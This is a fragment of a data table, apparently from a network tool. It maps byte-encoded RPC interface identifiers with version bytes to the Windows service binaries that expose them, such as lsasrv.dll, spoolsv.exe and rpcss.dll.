"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe",
"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe",
"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe",
"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe",
"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll",
"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll",
"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll",
"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll",
"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe",
"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll",
"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll",
"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll",
"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll",
"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll",
"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll",
"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe",
"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll",
"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL",
"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll",
"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll",
"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll",
"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll",
"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll",
"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll",
"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll",
"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe",
"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll",
"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll",
"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll",
"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe",
"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll",
"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server",
"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll",
"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe",
"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll",
"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll",
"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll",
"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll",
"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe",
"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe",
"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll",
"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe",
"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll",
"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe",
"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe",
"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe",
"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll",
"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll",
"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll",
"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll",
"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL",
"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll",
"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll",
"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll",
"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll",
"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server",
"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll",
"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll",
"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe",
"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll",
"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll",
"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll",
"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll",
"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll",
"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll",
"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe",
"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll",
"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll",
"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll",
"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll",
"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll",
"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll",
"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe",
"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll",
"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll",
"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll",
"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll",
"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll",
"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll",
"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll",
"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll",
"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll",
"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll",
"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe",
"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll",
"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll",
"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll",
"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll",
"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll",
"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe",
"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll",
"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll",
"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll",
"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll",
"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll",
"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe",
"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll",
"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll",
"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll",
"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll",
"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe",
"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll",
"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe",
"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll",
"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll",
"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll",
"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll",
"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe",
"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll",
"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll",
"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll",
"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL",
"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll",
"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe",
"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe",
"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll",
"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll",
"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll",
"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll",
"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll",
"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll",
"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll",
"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll",
"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe",
"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll",
"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll",
"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll",
"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe",
"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll",
"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll",
"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll",
"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll",
"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll",
"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe",
"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll",
"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll",
"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll",
"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll",
"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll",
"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll",
"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll",
"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll",
"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE",
"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll",
"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe",
"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server",
"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll",
"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll",
"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe",
"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll",
"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll",
"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe",
"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll",
"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll",
"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe",
"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe",
"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll",
"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe",
"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll",
"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe",
"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll",
"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe",
"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll",
"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll",
"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe",
"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll",
"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe",
"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll",
"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll",
"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll",
"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll",
"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL",
"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll",
"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll",
"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll",
"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll",
"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll",
"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll",
"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll",
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll",
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll",
"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll",
"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll",
"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe",
"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll",
"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll",
"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll",
"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll",
"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll",
"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe",
"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll",
"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll",
"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll",
"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe",
"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll",
"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll",
"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll",
"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe",
"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe",
